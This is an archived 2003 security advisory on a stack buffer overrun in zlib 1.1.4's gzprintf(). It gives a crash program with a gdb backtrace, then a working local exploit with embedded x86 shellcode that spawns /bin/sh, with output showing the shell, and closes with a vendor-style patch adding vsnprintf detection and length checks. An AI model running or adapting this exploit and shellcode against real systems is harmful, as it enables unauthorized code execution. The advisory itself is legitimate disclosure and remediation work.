24th Feb 2003 [SBWID-6013]
COMMAND
zlib buffer overrun in gzprintf()
SYSTEMS AFFECTED
zlib 1.1.4
PROBLEM
Richard Kettlewell [[email protected]] posted :
zlib contains a function called gzprintf(). This is similar in
behaviour to fprintf() except that by default, this function will smash
the stack if called with arguments that expand to more than
Z_PRINTF_BUFSIZE (=4096 by default) bytes.
There is an internal #define (HAS_vsnprintf) that causes it to use
vsnprintf() instead of vsprintf(), but this is not enabled by default,
not tested for by the configure script, and not documented.
Even if it was documented, tested for, or whatever, it is unclear what
platforms without vsnprintf() are supposed to do. Put up with the
security hole, perhaps.
Finally, with HAS_vsnprintf defined, long strings will be silently
truncated (and this isn't documented anywhere). Unexpected truncation
of strings can have security implications too; I seem to recall that a
popular MTA had trouble with over-long HELO strings for instance.
$ cat crashzlib.c
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(void) {
gzFile f;
int ret;
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
ret = gzprintf(f, "%10240s", "");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}
$ gcc -g -o crashzlib crashzlib.c -lz
$ ./crashzlib
Segmentation fault (core dumped)
$
$ dpkg -l zlib\* | grep ^i
ii zlib1g 1.1.4-1 compression library - runtime
ii zlib1g-dev 1.1.4-1 compression library - development
$ gdb crashzlib core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/libz.so.1...done.
Loaded symbols for /usr/lib/libz.so.1
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
(gdb) bt
#0 0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
#1 0x4008b52a in _IO_padn () from /lib/libc.so.6
#2 0x40075128 in vfprintf () from /lib/libc.so.6
#3 0x4008c0c3 in vsprintf () from /lib/libc.so.6
#4 0x4001c923 in gzprintf () from /usr/lib/libz.so.1
#5 0x20202020 in ?? ()
Cannot access memory at address 0x20202020
(gdb) $
Update (24 Februrary 2003)
======
/*
\ PoC local exploit for zlib <= 1.1.4
/ just for fun..not for root :)
\
/ Usage: gcc -o zlib zlib.c -lz
\
/ by CrZ [[email protected]] lbyte
[lbyte.void.ru]
*/
#include <zlib.h>
#include <errno.h>
#include <stdio.h>
int main(int argc, char **argv) {
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";
gzFile f;
int ret;
long xret;
char cret[10];
char badbuff[10000];
int i;
sprintf(badbuff,"%p",shell);
sscanf(badbuff,"0x%x",&xret);
printf("[>] exploiting...\n");
if(!(f = gzopen("/dev/null", "w"))) {
perror("/dev/null");
exit(1);
}
printf("[>] xret = 0x%x\n",xret);
sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
(xret>>16)&0xff,(xret>>24)&0xff);
bzero(badbuff,sizeof(badbuff));
for(i=0;i<5000;i+=4) strcat(badbuff,cret);
setuid(0);
setgid(0);
ret = gzprintf(stderr, "%s", badbuff );
setuid(0);
setgid(0);
printf(">Sent!..\n");
printf("gzprintf -> %d\n", ret);
ret = gzclose(f);
printf("gzclose -> %d [%d]\n", ret, errno);
exit(0);
}
[crz@blacksand crz]$ gcc -o zlib zlib.c -lz
[crz@blacksand crz]$ ./zlib
[>] exploiting...
[>] xret = 0xbffff8f0
sh-2.05b$ exit
exit
[crz@blacksand crz]$
SOLUTION
Update (25 February 2003)
======
Path provided by Kelledin, check diff below :
--------------Boundary-00=_PL7UCIIZFVAHYU3BF0WO
Content-Type: text/x-diff;
charset="iso-8859-1";
name="zlib-1.1.4-3-vsnprintf.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="zlib-1.1.4-3-vsnprintf.patch"
diff -Naur zlib-1.1.4/ChangeLog zlib-1.1.4-vsnprintf/ChangeLog
--- zlib-1.1.4/ChangeLog 2002-03-11 15:02:35.000000000 +0000
+++ zlib-1.1.4-vsnprintf/ChangeLog 2003-02-24 05:31:41.000000000 +0000
@@ -1,6 +1,13 @@
ChangeLog file for zlib
+Changes in 1.1.4-patched (23 February 2003)
+- fix a security vulnerability related to improper use of snprintf/vsnprintf
+ function.
+- ./configure now detects the presence of snprintf/vsnprintf and enables it
+ automatically if present.
+- README.vsnprintf added.
+
Changes in 1.1.4 (11 March 2002)
- ZFREE was repeated on same allocation on some error conditions.
This creates a security problem described in
diff -Naur zlib-1.1.4/README.vsnprintf zlib-1.1.4-vsnprintf/README.vsnprintf
--- zlib-1.1.4/README.vsnprintf 1970-01-01 00:00:00.000000000 +0000
+++ zlib-1.1.4-vsnprintf/README.vsnprintf 2003-02-24 05:13:28.000000000 +0000
@@ -0,0 +1,23 @@
+During a recent audit of zlib-1.1.4, a buffer-overflow and string-format
+vulnerability was found in the gzprintf() function. This has been corrected in
+this version of zlib; in addition, some ./configure checks have been added to
+make sure the host system can utilize the corrections fully.
+
+As a result, it is now strongly recommended that your host system or compiler
+provide a fully C99-compliant implementation of the vsnprintf() function.
+Anything less will reduce the functionality and/or security of the gzprintf()
+function. The most critical aspect is that vsnprintf() should be present and
+should provide a return value. If this function is missing, one of the
+fallback functions (vsprintf(), snprintf(), vsnprintf()) will have to be used,
+and if so, they too should return a value. If your system is lacking in any of
+these aspects, the ./configure script should warn you and refer you to this
+file.
+
+In addition, the HAS_vsnprintf and HAS_snprintf macros are automatically
+defined if these functions are available. zlib-1.1.4 and older versions did
+not do this, potentially leading to a broken and vulnerable zlib even when the
+host system supported the requisite functionality to avoid this.
+
+
+ -- Kelledin <[email protected]>
+
diff -Naur zlib-1.1.4/configure zlib-1.1.4-vsnprintf/configure
--- zlib-1.1.4/configure 1998-07-08 18:19:35.000000000 +0000
+++ zlib-1.1.4-vsnprintf/configure 2003-02-24 05:13:28.000000000 +0000
@@ -156,6 +156,209 @@
fi
cat > $test.c <<EOF
+#include <stdio.h>
+
+#if (defined(__MSDOS__) || defined(_WINDOWS) || defined(_WIN32) || defined(__WIN32__) || defined(WIN32) || defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)) && !defined(STDC)
+# define STDC
+#endif
+
+int main() {
+ int i;
+
+ i=0;
+#ifndef STDC
+ choke me
+#endif
+
+ return 0;
+}
+EOF
+
+if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ echo "Checking whether to use vsnprintf() or snprintf()... using vsnprintf()"
+
+ cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest(char *fmt, ...) {
+ char buf[20];
+ va_list ap;
+
+ va_start(ap, fmt);
+ vsnprintf(buf, sizeof(buf), fmt, ap);
+ return 0;
+}
+
+int main() {
+ return (mytest("Hello%d\n", 1));
+}
+EOF
+
+ if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ CFLAGS="$CFLAGS -DHAS_vsnprintf"
+ echo "Checking for vsnprintf() in stdio.h... Yes."
+
+ cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest(char *fmt, ...) {
+ int i;
+ char buf[20];
+ va_list ap;
+
+ va_start(ap, fmt);
+ i=vsnprintf(buf, sizeof(buf), fmt, ap);
+ return 0;
+}
+
+int main() {
+ return (mytest("Hello%d\n", 1));
+}
+EOF
+
+ if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ CFLAGS="$CFLAGS -DHAS_vsnprintf_return"
+ echo "Checking for return value of vsnprintf()... Yes."
+ else
+ echo "Checking for return value of vsnprintf()... No."
+ echo " WARNING: apparently vsnprintf() does not return a value. zlib"
+ echo " can build but will be open to possible string-format security"
+ echo " vulnerabilities. See README.vsnprintf for more info."
+ echo
+ fi
+ else
+ echo "Checking for vsnprintf() in stdio.h... No."
+ echo " WARNING: vsnprintf() not found, falling back to vsprintf(). zlib"
+ echo " can build but will be open to possible buffer-overflow security"
+ echo " vulnerabilities. See README.vsnprintf for more info."
+ echo
+
+ cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest(char *fmt, ...) {
+ int i;
+ char buf[20];
+ va_list ap;
+
+ va_start(ap, fmt);
+ i=vsprintf(buf, fmt, ap);
+ return 0;
+}
+
+int main() {
+ return (mytest("Hello%d\n", 1));
+}
+EOF
+
+ if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ CFLAGS="$CFLAGS -DHAS_vsprintf_return"
+ echo "Checking for return value of vsprintf()... Yes."
+ else
+ echo "Checking for return value of vsprintf()... No."
+ echo " WARNING: apparently vsprintf() does not return a value. zlib"
+ echo " can build but will be open to possible string-format security"
+ echo " vulnerabilities. See README.vsnprintf for more info."
+ echo
+ fi
+ fi
+else
+ echo "Checking whether to use vsnprintf() or snprintf()... using snprintf()"
+
+ cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest() {
+ char buf[20];
+ va_list ap;
+
+ va_start(ap, fmt);
+ snprintf(buf, sizeof(buf), fmt, ap);
+ return 0;
+}
+
+int main() {
+ return (mytest());
+}
+EOF
+
+ if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ CFLAGS="$CFLAGS -DHAS_snprintf"
+ echo "Checking for snprintf() in stdio.h... Yes."
+
+ cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest() {
+ int i;
+ char buf[20];
+ va_list ap;
+
+ va_start(ap, fmt);
+ i=snprintf(buf, sizeof(buf), fmt, ap);
+ return 0;
+}
+
+int main() {
+ return (mytest());
+}
+EOF
+
+ if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ CFLAGS="$CFLAGS -DHAS_snprintf_return"
+ echo "Checking for return value of snprintf()... Yes."
+ else
+ echo "Checking for return value of snprintf()... No."
+ echo " WARNING: apparently snprintf() does not return a value. zlib"
+ echo " can build but will be open to possible string-format security"
+ echo " vulnerabilities. See README.vsnprintf for more info."
+ echo
+ fi
+ else
+ echo "Checking for snprintf() in stdio.h... No."
+ echo " WARNING: snprintf() not found, falling back to sprintf(). zlib"
+ echo " can build but will be open to possible buffer-overflow security"
+ echo " vulnerabilities. See README.vsnprintf for more info."
+ echo
+
+ cat > $test.c <<EOF
+#include <stdio.h>
+#include <stdarg.h>
+
+int mytest() {
+ int i;
+ char buf[20];
+ va_list ap;
+
+ va_start(ap, fmt);
+ i=sprintf(buf, fmt, ap);
+ return 0;
+}
+
+int main() {
+ return (mytest());
+}
+EOF
+
+ if test "`($CC -c $CFLAGS $test.c) 2>&1`" = ""; then
+ CFLAGS="$CFLAGS -DHAS_sprintf_return"
+ echo "Checking for return value of sprintf()... Yes."
+ else
+ echo "Checking for return value of sprintf()... No."
+ echo " WARNING: apparently sprintf() does not return a value. zlib"
+ echo " can build but will be open to possible string-format security"
+ echo " vulnerabilities. See README.vsnprintf for more info."
+ echo
+ fi
+ fi
+fi
+
+cat > $test.c <<EOF
#include <errno.h>
int main() { return 0; }
EOF
diff -Naur zlib-1.1.4/gzio.c zlib-1.1.4-vsnprintf/gzio.c
--- zlib-1.1.4/gzio.c 2002-03-11 13:16:01.000000000 +0000
+++ zlib-1.1.4-vsnprintf/gzio.c 2003-02-24 05:18:44.000000000 +0000
@@ -529,14 +529,42 @@
int len;
va_start(va, format);
+
+ /* 2003/02/23: Add proper length checking here, if possible.
+ *
+ * -- Kelledin
+ */
#ifdef HAS_vsnprintf
- (void)vsnprintf(buf, sizeof(buf), format, va);
+# ifdef HAS_vsnprintf_return
+ len=vsnprintf(buf, sizeof(buf), format, va);
+ va_end(va);
+
+ if (len <= 0 || len >= sizeof(buf)) {
+ /* Resulting string too large to fit in the buffer. */
+ return 0;
+ }
+# else
+ vsnprintf(buf, sizeof(buf), format, va);
+ va_end(va);
+ len=strlen(buf);
+ if (len <= 0) return 0;
+# endif
#else
- (void)vsprintf(buf, format, va);
-#endif
+# ifdef HAS_vsprintf_return
+ len=vsprintf(buf, format, va);
+ va_end(va);
+
+ if (len <= 0 || len >= sizeof(buf)) {
+ /* Resulting string too large to fit in the buffer. */
+ return 0;
+ }
+# else
+ vsprintf(buf, format, va);
va_end(va);
- len = strlen(buf); /* some *sprintf don't return the nb of bytes written */
+ len=strlen(buf);
if (len <= 0) return 0;
+# endif
+#endif
return gzwrite(file, buf, (unsigned)len);
}
@@ -552,15 +580,41 @@
char buf[Z_PRINTF_BUFSIZE];
int len;
+ /* 2003/02/23: Add proper length checking here when possible.
+ *
+ * -- Kelledin
+ */
#ifdef HAS_snprintf
+# ifdef HAS_snprintf_return
+ len=snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
+ a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
+
+ if (len <= 0 || len >= sizeof(buf)) {
+ /* Resulting string too large to fit in the buffer. */
+ return 0;
+ }
+# else
snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
+ len=strlen(buf);
+ if (len <= 0) return 0;
+# endif
#else
+# ifdef HAS_sprintf_return
+ len=sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
+ a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
+
+ if (len <= 0 || len >= sizeof(buf)) {
+ /* Resulting string too large to fit in the buffer. */
+ return 0;
+ }
+# else
sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
-#endif
- len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */
+ len=strlen(buf);
if (len <= 0) return 0;
+# endif
+#endif
return gzwrite(file, buf, len);
}
--------------Boundary-00=_PL7UCIIZFVAHYU3BF0WO--